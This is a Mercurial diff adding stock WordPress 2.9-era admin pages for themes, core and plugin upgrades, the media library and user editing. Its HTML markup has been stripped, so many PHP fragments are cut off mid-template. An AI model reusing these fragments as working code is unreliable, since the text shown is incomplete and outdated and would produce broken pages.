    + 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), $preview_link ) ); + $preview_text = esc_attr( sprintf( __('Preview of “%s”'), $title ) ); + $tags = $themes[$theme_name]['Tags']; + $thickbox_class = 'thickbox thickbox-preview'; + $activate_link = wp_nonce_url("themes.php?action=activate&template=".urlencode($template)."&stylesheet=".urlencode($stylesheet), 'switch-theme_' . $template); + $activate_text = esc_attr( sprintf( __('Activate “%s”'), $title ) ); + $actions = array(); + $actions[] = '' . __('Activate') . ''; + $actions[] = '' . __('Preview') . ''; + if ( current_user_can('update_themes') ) + $actions[] = '' . __('Delete') . ''; + $actions = apply_filters('theme_action_links', $actions, $themes[$theme_name]); + + $actions = implode ( ' | ', $actions ); +?> + + + + + +

    +

    + + +

    %2$s. The stylesheet files are located in %3$s. %4$s uses templates from %5$s. Changes made to the templates will affect both themes.'), $title, str_replace( WP_CONTENT_DIR, '', $template_dir ), str_replace( WP_CONTENT_DIR, '', $stylesheet_dir ), $title, $parent_theme); ?>

    + +

    %2$s.'), $title, str_replace( WP_CONTENT_DIR, '', $template_dir ), str_replace( WP_CONTENT_DIR, '', $stylesheet_dir ) ); ?>

    + + +

    + + + +
    + +

    + +
    + + +
    +$page_links_text
    "; ?> +
    +
    + + +
    + + + +

    +

    + + + + + + + + + + "; + } +?> +
    $title$description
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/tools.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/tools.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,97 @@ + +
    + +

    + +
    + +
    +

    +


    +

    +

    +

    +
    +
    + + + + + + + + +
    + + +
    +

    +

    + +

    +

    +

    +
    + +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/update-core.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/update-core.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,391 @@ +locale && 'en_US' == get_locale() ) ? + $update->current : sprintf("%s–%s", $update->current, $update->locale); + $current = false; + if ( !isset($update->response) || 'latest' == $update->response ) + $current = true; + $submit = __('Upgrade Automatically'); + $form_action = 'update-core.php?action=do-core-upgrade'; + if ( 'development' == $update->response ) { + $message = __('You are using a development version of WordPress. You can upgrade to the latest nightly build automatically or download the nightly build and install it manually:'); + $download = __('Download nightly build'); + } else { + if ( $current ) { + $message = sprintf(__('You have the latest version of WordPress. You do not need to upgrade. However, if you want to re-install version %s, you can do so automatically or download the package and re-install manually:'), $version_string); + $submit = __('Re-install Automatically'); + $form_action = 'update-core.php?action=do-core-reinstall'; + } else { + $message = sprintf(__('You can upgrade to version %s automatically or download the package and install it manually:'), $version_string); + } + $download = sprintf(__('Download %s'), $version_string); + } + + echo '

    '; + echo $message; + echo '

    '; + echo '
    '; + wp_nonce_field('upgrade-core'); + echo '

    '; + echo ' '; + echo ''; + echo ''; + echo '' . $download . ' '; + if ( 'en_US' != $update->locale ) + if ( !isset( $update->dismissed ) || !$update->dismissed ) + echo ''; + else + echo ''; + echo '

    '; + if ( 'en_US' != $update->locale && ( !isset($wp_local_package) || $wp_local_package != $update->locale ) ) + echo '

    '.__('This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation.').'

    '; + else if ( 'en_US' == $update->locale && get_locale() != 'en_US' ) { + echo '

    '.sprintf( __('You are about to install WordPress %s in English. There is a chance this upgrade will break your translation. You may prefer to wait for the localized version to be released.'), $update->current ).'

    '; + } + echo '
    '; + +} + +function dismissed_updates() { + $dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) ); + if ( $dismissed ) { + + $show_text = esc_js(__('Show hidden updates')); + $hide_text = esc_js(__('Hide hidden updates')); + ?> + + '.__('Show hidden updates').'

    '; + echo '
      '; + foreach( (array) $dismissed as $update) { + echo '
    • '; + list_core_update( $update ); + echo '
    • '; + } + echo '
    '; + } +} + +/** + * Display upgrade WordPress for downloading latest or upgrading automatically form. + * + * @since 2.7 + * + * @return null + */ +function core_upgrade_preamble() { + global $upgrade_error; + + $updates = get_core_updates(); +?> +
    + +

    +

    '; + _e('Please select one or more plugins to upgrade.'); + echo '

    '; + } + + if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) { + echo '

    '; + _e('You have the latest version of WordPress. You do not need to upgrade'); + echo '

    '; + } else { + echo '

    '; + _e('Important: before upgrading, please backup your database and files.'); + echo '

    '; + + echo '

    '; + _e( 'There is a new version of WordPress available for upgrade' ); + echo '

    '; + } + + echo '
      '; + $alternate = true; + foreach( (array) $updates as $update ) { + $class = $alternate? ' class="alternate"' : ''; + $alternate = !$alternate; + echo "
    • "; + list_core_update( $update ); + echo '
    • '; + } + echo '
    '; + dismissed_updates(); + + list_plugin_updates(); + //list_theme_updates(); + do_action('core_upgrade_preamble'); + echo '
    '; +} + +function list_plugin_updates() { + global $wp_version; + + $cur_wp_version = preg_replace('/-.*$/', '', $wp_version); + + require_once(ABSPATH . 'wp-admin/includes/plugin-install.php'); + $plugins = get_plugin_updates(); + if ( empty($plugins) ) + return; + $form_action = 'update-core.php?action=do-plugin-upgrade'; + + $core_updates = get_core_updates(); + if ( !isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare( $core_updates[0]->current, $cur_wp_version, '=') ) + $core_update_version = false; + else + $core_update_version = $core_updates[0]->current; + ?> +

    +

    +
    + +

    + + + + + + + + + + + + + + + + $plugin_data) { + $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug )); + // Get plugin compat for running version of WordPress. + if ( isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=') ) { + $compat = '
    ' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version); + } elseif ( isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version]) ) { + $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version]; + $compat = '
    ' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]); + } else { + $compat = '
    ' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version); + } + // Get plugin compat for updated version of WordPress. + if ( $core_update_version ) { + if ( isset($info->compatibility[$core_update_version][$plugin_data->update->new_version]) ) { + $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version]; + $compat .= '
    ' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]); + } else { + $compat .= '
    ' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version); + } + } + // Get the upgrade notice for the new plugin version. + if ( isset($plugin_data->update->upgrade_notice) ) { + $upgrade_notice = '
    ' . strip_tags($plugin_data->update->upgrade_notice); + } else { + $upgrade_notice = ''; + } + echo " + + + + "; + } +?> + +
    {$plugin_data->Name}" . sprintf(__('You are running version %1$s. Upgrade to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . $compat . $upgrade_notice . "
    +

    +
    + +

    + + + + + + + + + + + + + + + + $theme_data) { + echo " + + + + "; + } +?> + +
    {$theme_data->Name}
    + +
    + +

    +errors->get_error_code() ) { + foreach ( $wp_filesystem->errors->get_error_messages() as $message ) + show_message($message); + echo '
    '; + return; + } + + if ( $reinstall ) + $update->response = 'reinstall'; + + $result = wp_update_core($update, 'show_message'); + + if ( is_wp_error($result) ) { + show_message($result); + if ('up_to_date' != $result->get_error_code() ) + show_message( __('Installation Failed') ); + } else { + show_message( __('WordPress upgraded successfully') ); + } + echo ''; +} + +function do_dismiss_core_update() { + $version = isset( $_POST['version'] )? $_POST['version'] : false; + $locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US'; + $update = find_core_update( $version, $locale ); + if ( !$update ) + return; + dismiss_core_update( $update ); + wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') ); +} + +function do_undismiss_core_update() { + $version = isset( $_POST['version'] )? $_POST['version'] : false; + $locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US'; + $update = find_core_update( $version, $locale ); + if ( !$update ) + return; + undismiss_core_update( $version, $locale ); + wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') ); +} + +function no_update_actions($actions) { + return ''; +} + +function do_plugin_upgrade() { + include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; + + if ( isset($_GET['plugins']) ) { + $plugins = explode(',', $_GET['plugins']); + } elseif ( isset($_POST['checked']) ) { + $plugins = (array) $_POST['checked']; + } else { + // Nothing to do. + return; + } + $url = 'update-core.php?action=do-plugin-upgrade&plugins=' . urlencode(join(',', $plugins)); + $title = __('Upgrade Plugins'); + $nonce = 'upgrade-core'; + $upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) ); + $upgrader->bulk_upgrade($plugins); +} + +$action = isset($_GET['action']) ? $_GET['action'] : 'upgrade-core'; + +$upgrade_error = false; +if ( 'do-plugin-upgrade' == $action && !isset($_GET['plugins']) && !isset($_POST['checked']) ) { + $upgrade_error = true; + $action = 'upgrade-core'; +} + +$title = __('Upgrade WordPress'); +$parent_file = 'tools.php'; + +if ( 'upgrade-core' == $action ) { + wp_version_check(); + require_once('admin-header.php'); + core_upgrade_preamble(); +} elseif ( 'do-core-upgrade' == $action || 'do-core-reinstall' == $action ) { + check_admin_referer('upgrade-core'); + // do the (un)dismiss actions before headers, + // so that they can redirect + if ( isset( $_POST['dismiss'] ) ) + do_dismiss_core_update(); + elseif ( isset( $_POST['undismiss'] ) ) + do_undismiss_core_update(); + require_once('admin-header.php'); + if ( 'do-core-reinstall' == $action ) + $reinstall = true; + else + $reinstall = false; + if ( isset( $_POST['upgrade'] ) ) + do_core_upgrade($reinstall); +} elseif ( 'do-plugin-upgrade' == $action ) { + check_admin_referer('upgrade-core'); + require_once('admin-header.php'); + do_plugin_upgrade(); +} + +include('admin-footer.php'); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/update-links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/update-links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,56 @@ +get_col("SELECT link_url FROM $wpdb->links"); + +if ( !$link_uris ) + wp_die(__('No links')); + +$link_uris = urlencode( join( $link_uris, "\n" ) ); + +$query_string = "uris=$link_uris"; + +$options = array(); +$options['timeout'] = 30; +$options['body'] = $query_string; + +$options['headers'] = array( + 'content-type' => 'application/x-www-form-urlencoded; charset='.get_option('blog_charset'), + 'content-length' => strlen( $query_string ), +); + +$response = wp_remote_get('http://api.pingomatic.com/updated-batch/', $options); + +if ( is_wp_error( $response ) ) + wp_die(__('Request Failed.')); + +if ( $response['response']['code'] != 200 ) + wp_die(__('Request Failed.')); + +$body = str_replace(array("\r\n", "\r"), "\n", $response['body']); +$returns = explode("\n", $body); + +foreach ($returns as $return) { + $time = substr($return, 0, 19); + $uri = preg_replace('/(.*?) | (.*?)/', '$2', $return); + $wpdb->update( $wpdb->links, array('link_updated' => $time), array('link_url' => $uri) ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/update.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/update.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,198 @@ +upgrade($plugin); + + include('admin-footer.php'); + + } elseif ('activate-plugin' == $action ) { + if ( ! current_user_can('update_plugins') ) + wp_die(__('You do not have sufficient permissions to update plugins for this blog.')); + + check_admin_referer('activate-plugin_' . $plugin); + if( ! isset($_GET['failure']) && ! isset($_GET['success']) ) { + wp_redirect( 'update.php?action=activate-plugin&failure=true&plugin=' . $plugin . '&_wpnonce=' . $_GET['_wpnonce'] ); + activate_plugin($plugin); + wp_redirect( 'update.php?action=activate-plugin&success=true&plugin=' . $plugin . '&_wpnonce=' . $_GET['_wpnonce'] ); + die(); + } + iframe_header( __('Plugin Reactivation'), true ); + if( isset($_GET['success']) ) + echo '

    ' . __('Plugin reactivated successfully.') . '

    '; + + if( isset($_GET['failure']) ){ + echo '

    ' . __('Plugin failed to reactivate due to a fatal error.') . '

    '; + + if ( defined('E_RECOVERABLE_ERROR') ) + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR); + else + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING); + + @ini_set('display_errors', true); //Ensure that Fatal errors are displayed. + include(WP_PLUGIN_DIR . '/' . $plugin); + } + iframe_footer(); + } elseif ( 'install-plugin' == $action ) { + + if ( ! current_user_can('install_plugins') ) + wp_die(__('You do not have sufficient permissions to install plugins for this blog.')); + + include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; //for plugins_api.. + + check_admin_referer('install-plugin_' . $plugin); + $api = plugins_api('plugin_information', array('slug' => $plugin, 'fields' => array('sections' => false) ) ); //Save on a bit of bandwidth. + + if ( is_wp_error($api) ) + wp_die($api); + + $title = __('Plugin Install'); + $parent_file = 'plugins.php'; + $submenu_file = 'plugin-install.php'; + require_once('admin-header.php'); + + $title = sprintf( __('Installing Plugin: %s'), $api->name . ' ' . $api->version ); + $nonce = 'install-plugin_' . $plugin; + $url = 'update.php?action=install-plugin&plugin=' . $plugin; + $type = 'web'; //Install plugin type, From Web or an Upload. + + $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) ); + $upgrader->install($api->download_link); + + include('admin-footer.php'); + + } elseif ( 'upload-plugin' == $action ) { + + if ( ! current_user_can('install_plugins') ) + wp_die(__('You do not have sufficient permissions to install plugins for this blog.')); + + check_admin_referer('plugin-upload'); + + $file_upload = new File_Upload_Upgrader('pluginzip', 'package'); + + $title = __('Upload Plugin'); + $parent_file = 'plugins.php'; + $submenu_file = 'plugin-install.php'; + require_once('admin-header.php'); + + $title = sprintf( __('Installing Plugin from uploaded file: %s'), basename( $file_upload->filename ) ); + $nonce = 'plugin-upload'; + $url = add_query_arg(array('package' => $file_upload->filename ), 'update.php?action=upload-plugin'); + $type = 'upload'; //Install plugin type, From Web or an Upload. + + $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) ); + $upgrader->install( $file_upload->package ); + + include('admin-footer.php'); + + } elseif ( 'upgrade-theme' == $action ) { + + if ( ! current_user_can('update_themes') ) + wp_die(__('You do not have sufficient permissions to update themes for this blog.')); + + check_admin_referer('upgrade-theme_' . $theme); + + add_thickbox(); + wp_enqueue_script('theme-preview'); + $title = __('Upgrade Theme'); + $parent_file = 'themes.php'; + $submenu_file = 'themes.php'; + require_once('admin-header.php'); + + $nonce = 'upgrade-theme_' . $theme; + $url = 'update.php?action=upgrade-theme&theme=' . $theme; + + $upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact('title', 'nonce', 'url', 'theme') ) ); + $upgrader->upgrade($theme); + + include('admin-footer.php'); + + } elseif ( 'install-theme' == $action ) { + + if ( ! current_user_can('install_themes') ) + wp_die(__('You do not have sufficient permissions to install themes for this blog.')); + + include_once ABSPATH . 'wp-admin/includes/theme-install.php'; //for themes_api.. + + check_admin_referer('install-theme_' . $theme); + $api = themes_api('theme_information', array('slug' => $theme, 'fields' => array('sections' => false) ) ); //Save on a bit of bandwidth. + + if ( is_wp_error($api) ) + wp_die($api); + + add_thickbox(); + wp_enqueue_script('theme-preview'); + $title = __('Install Themes'); + $parent_file = 'themes.php'; + $submenu_file = 'theme-install.php'; + require_once('admin-header.php'); + + $title = sprintf( __('Installing theme: %s'), $api->name . ' ' . $api->version ); + $nonce = 'install-theme_' . $theme; + $url = 'update.php?action=install-theme&theme=' . $theme; + $type = 'web'; //Install theme type, From Web or an Upload. + + $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) ); + $upgrader->install($api->download_link); + + include('admin-footer.php'); + + } elseif ( 'upload-theme' == $action ) { + + if ( ! current_user_can('install_themes') ) + wp_die(__('You do not have sufficient permissions to install themes for this blog.')); + + check_admin_referer('theme-upload'); + + $file_upload = new File_Upload_Upgrader('themezip', 'package'); + + $title = __('Upload Theme'); + $parent_file = 'themes.php'; + $submenu_file = 'theme-install.php'; + add_thickbox(); + wp_enqueue_script('theme-preview'); + require_once('admin-header.php'); + + $title = sprintf( __('Installing Theme from uploaded file: %s'), basename( $file_upload->filename ) ); + $nonce = 'theme-upload'; + $url = add_query_arg(array('package' => $file_upload->filename), 'update.php?action=upload-theme'); + $type = 'upload'; //Install plugin type, From Web or an Upload. + + $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) ); + $upgrader->install( $file_upload->package ); + + include('admin-footer.php'); + + } else { + do_action('update-custom_' . $action); + } +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/upgrade-functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/upgrade-functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,13 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/upgrade.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/upgrade.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,108 @@ +db_version(); +$php_compat = version_compare( $php_version, $required_php_version, '>=' ); +$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); + +@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); +?> + +> + + + <?php _e( 'WordPress › Upgrade' ); ?> + + + +

    WordPress

    + + + +

    +

    +

    + + + +

    +

    +

    +

    + +

    +

    +

    + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/upload.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/upload.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,483 @@ +get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'post' OR post_type = 'page'"); + $all_att = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'attachment'"); + + $lost = array(); + foreach ( (array) $all_att as $att ) { + if ( $att->post_parent > 0 && ! in_array($att->post_parent, $all_posts) ) + $lost[] = $att->ID; + } + $_GET['detached'] = 1; + +} elseif ( isset($_GET['found_post_id']) && isset($_GET['media']) ) { + check_admin_referer('bulk-media'); + + if ( ! ( $parent_id = (int) $_GET['found_post_id'] ) ) + return; + + $parent = &get_post($parent_id); + if ( !current_user_can('edit_post', $parent_id) ) + wp_die( __('You are not allowed to edit this post.') ); + + $attach = array(); + foreach( (array) $_GET['media'] as $att_id ) { + $att_id = (int) $att_id; + + if ( !current_user_can('edit_post', $att_id) ) + continue; + + $attach[] = $att_id; + } + + if ( ! empty($attach) ) { + $attach = implode(',', $attach); + $attached = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ($attach)", $parent_id) ); + } + + if ( isset($attached) ) { + $location = 'upload.php'; + if ( $referer = wp_get_referer() ) { + if ( false !== strpos($referer, 'upload.php') ) + $location = $referer; + } + + $location = add_query_arg( array( 'attached' => $attached ) , $location ); + wp_redirect($location); + exit; + } + +} elseif ( isset($_GET['doaction']) || isset($_GET['doaction2']) || isset($_GET['delete_all']) || isset($_GET['delete_all2']) ) { + check_admin_referer('bulk-media'); + + if ( isset($_GET['delete_all']) || isset($_GET['delete_all2']) ) { + $post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" ); + $doaction = 'delete'; + } elseif ( ( $_GET['action'] != -1 || $_GET['action2'] != -1 ) && ( isset($_GET['media']) || isset($_GET['ids']) ) ) { + $post_ids = isset($_GET['media']) ? $_GET['media'] : explode(',', $_GET['ids']); + $doaction = ($_GET['action'] != -1) ? $_GET['action'] : $_GET['action2']; + } else { + wp_redirect($_SERVER['HTTP_REFERER']); + } + + $location = 'upload.php'; + if ( $referer = wp_get_referer() ) { + if ( false !== strpos($referer, 'upload.php') ) + $location = remove_query_arg( array('trashed', 'untrashed', 'deleted', 'message', 'ids', 'posted'), $referer ); + } + + switch ( $doaction ) { + case 'trash': + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to move this post to the trash.') ); + + if ( !wp_trash_post($post_id) ) + wp_die( __('Error in moving to trash...') ); + } + $location = add_query_arg( array( 'message' => 4, 'ids' => join(',', $post_ids) ), $location ); + break; + case 'untrash': + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to move this post out of the trash.') ); + + if ( !wp_untrash_post($post_id) ) + wp_die( __('Error in restoring from trash...') ); + } + $location = add_query_arg('message', 5, $location); + break; + case 'delete': + foreach( (array) $post_ids as $post_id_del ) { + if ( !current_user_can('delete_post', $post_id_del) ) + wp_die( __('You are not allowed to delete this post.') ); + + if ( !wp_delete_attachment($post_id_del) ) + wp_die( __('Error in deleting...') ); + } + $location = add_query_arg('message', 2, $location); + break; + } + + wp_redirect($location); + exit; +} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +$title = __('Media Library'); +$parent_file = 'upload.php'; + +if ( ! isset( $_GET['paged'] ) || $_GET['paged'] < 1 ) + $_GET['paged'] = 1; + +if ( isset($_GET['detached']) ) { + + $media_per_page = (int) get_user_option( 'upload_per_page', 0, false ); + if ( empty($media_per_page) || $media_per_page < 1 ) + $media_per_page = 20; + $media_per_page = apply_filters( 'upload_per_page', $media_per_page ); + + if ( !empty($lost) ) { + $start = ( (int) $_GET['paged'] - 1 ) * $media_per_page; + $page_links_total = ceil(count($lost) / $media_per_page); + $lost = implode(',', $lost); + + $orphans = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_type = 'attachment' AND ID IN (%s) LIMIT %d, %d", $lost, $start, $media_per_page ) ); + } else { + $start = ( (int) $_GET['paged'] - 1 ) * $media_per_page; + $orphans = $wpdb->get_results( $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS * FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1 LIMIT %d, %d", $start, $media_per_page ) ); + $page_links_total = ceil($wpdb->get_var( "SELECT FOUND_ROWS()" ) / $media_per_page); + } + + $post_mime_types = get_post_mime_types(); + $avail_post_mime_types = get_available_post_mime_types('attachment'); + + if ( isset($_GET['post_mime_type']) && !array_intersect( (array) $_GET['post_mime_type'], array_keys($post_mime_types) ) ) + unset($_GET['post_mime_type']); + +} else { + list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query(); +} + +$is_trash = ( isset($_GET['status']) && $_GET['status'] == 'trash' ); + +wp_enqueue_script('media'); +require_once('admin-header.php'); + +do_action('restrict_manage_posts'); +?> + +
    + +

    ' . __('Search results for “%s”') . '', esc_html( get_search_query() ) ); ?> +

    + +' . __('Undo') . ''; +$messages[5] = __('Media restored from the trash.'); + +if ( isset($_GET['message']) && (int) $_GET['message'] ) { + $message = $messages[$_GET['message']]; + $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']); +} + +if ( !empty($message) ) { ?> +

    + + + + +
    + +
    + +
    +
    +max_num_pages; + +$page_links = paginate_links( array( + 'base' => add_query_arg( 'paged', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => $page_links_total, + 'current' => $_GET['paged'] +)); + +if ( $page_links ) : ?> +
    ' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( ( $_GET['paged'] - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ), + number_format_i18n( min( $_GET['paged'] * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ), + number_format_i18n( $wp_query->found_posts ), + $page_links +); echo $page_links_text; ?>
    + + +
    + + + + +posts WHERE post_type = 'attachment' ORDER BY post_date DESC"; + + $arc_result = $wpdb->get_results( $arc_query ); + + $month_count = count($arc_result); + + if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) : ?> + + + + + + + + + + + + + +
    + +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + +ID) ); +?> + + + + + + + +post_date && 'date' == $column_name ) { + $t_time = $h_time = __('Unpublished'); + } else { + $t_time = get_the_time(__('Y/m/d g:i:s A')); + $m_time = $post->post_date; + $time = get_post_time( 'G', true ); + if ( ( abs($t_diff = time() - $time) ) < 86400 ) { + if ( $t_diff < 0 ) + $h_time = sprintf( __('%s from now'), human_time_diff( $time ) ); + else + $h_time = sprintf( __('%s ago'), human_time_diff( $time ) ); + } else { + $h_time = mysql2date(__('Y/m/d'), $m_time); + } + } ?> + + + + + + +
    ID) ) { ?>ID, array(80, 60), true ) ) { ?> + +
    + ID))); ?> + +
    + ID) ) + $actions['edit'] = '' . __('Edit') . ''; + if ( current_user_can('delete_post', $post->ID) ) + if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) { + $actions['trash'] = "ID) . "'>" . __('Trash') . ""; + } else { + $delete_ays = !MEDIA_TRASH ? " onclick='return showNotice.warn();'" : ''; + $actions['delete'] = "ID) . "'>" . __('Delete Permanently') . ""; + } + $actions['view'] = '' . __('View') . ''; + if ( current_user_can('edit_post', $post->ID) ) + $actions['attach'] = ''.__('Attach').''; + $actions = apply_filters( 'media_row_actions', $actions, $post ); + $action_count = count($actions); + $i = 0; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + echo "$link$sep"; + } ?> +
    post_author); echo $author->display_name; ?>
    + + + +
    + +
    + +$page_links_text
    "; +?> + +
    + + + + + + +
    + +
    +
    + + +
    + + + +ID; + } else { + wp_die(__('Invalid user ID.')); + } +} elseif ( !get_userdata($user_id) ) { + wp_die( __('Invalid user ID.') ); +} + +$all_post_caps = array('posts', 'pages'); +$user_can_edit = false; +foreach ( $all_post_caps as $post_cap ) + $user_can_edit |= current_user_can("edit_$post_cap"); + +/** + * Optional SSL preference that can be turned on by hooking to the 'personal_options' action. + * + * @since 2.7.0 + * + * @param object $user User data object + */ +function use_ssl_preference($user) { +?> + + + + + + + +
    +

    + +

    + +
    + + +
    +
      + get_error_messages() as $message ) + echo "
    • $message
    • "; + ?> +
    +
    + + +
    + +

    + +
    + + + + +

    + + +

    + +

    + + + + + + + + + 1 ) : ?> + + + + + + + + + + +
    + $color_info ): ?> +
    /> + + + colors as $html_color ): ?> + + + +
     
    + + +
    + +
    More information'); ?>
    + + +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +

    + + + + + + + + + + + + + $desc) { +?> + + + + + +
    + +

    + + + + + + + + + + + + + +

    +

    +
    +
    +

    +
    + + + +caps) > count($profileuser->roles) && apply_filters('additional_capabilities_display', true, $profileuser) ) { ?> +
    + + + + + +
    caps as $cap => $value ) { + if ( !$wp_roles->is_role($cap) ) { + if ( $output != '' ) + $output .= ', '; + $output .= $value ? $cap : "Denied: {$cap}"; + } + } + echo $output; + ?>
    + + +

    + + + +

    +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/user-new.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/user-new.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,154 @@ + +
    + +

    + + +
    +
      + get_error_messages() as $err ) + echo "
    • $err
    • \n"; + ?> +
    +
    + + + +
    + get_error_messages() as $message ) + echo "

    $message

    "; + ?> +
    + +
    + +' . sprintf(__('Users can register themselves or you can manually create users here.'), site_url('wp-register.php')) . '

    '; + else + echo '

    ' . sprintf(__('Users cannot currently register themselves, but you can manually create users here.'), admin_url('options-general.php#users_can_register')) . '

    '; +?> +
    + + 'login', 'first_name' => 'firstname', 'last_name' => 'lastname', + 'email' => 'email', 'url' => 'uri', 'role' => 'role') as $post_field => $var ) { + $var = "new_user_$var"; + if ( ! isset($$var) ) + $$var = isset($_POST[$post_field]) ? stripslashes($_POST[$post_field]) : ''; +} +$new_user_send_password = !$_POST || isset($_POST['send_password']); +?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    +
    +

    +
    +
    +

    + +

    +
    + +
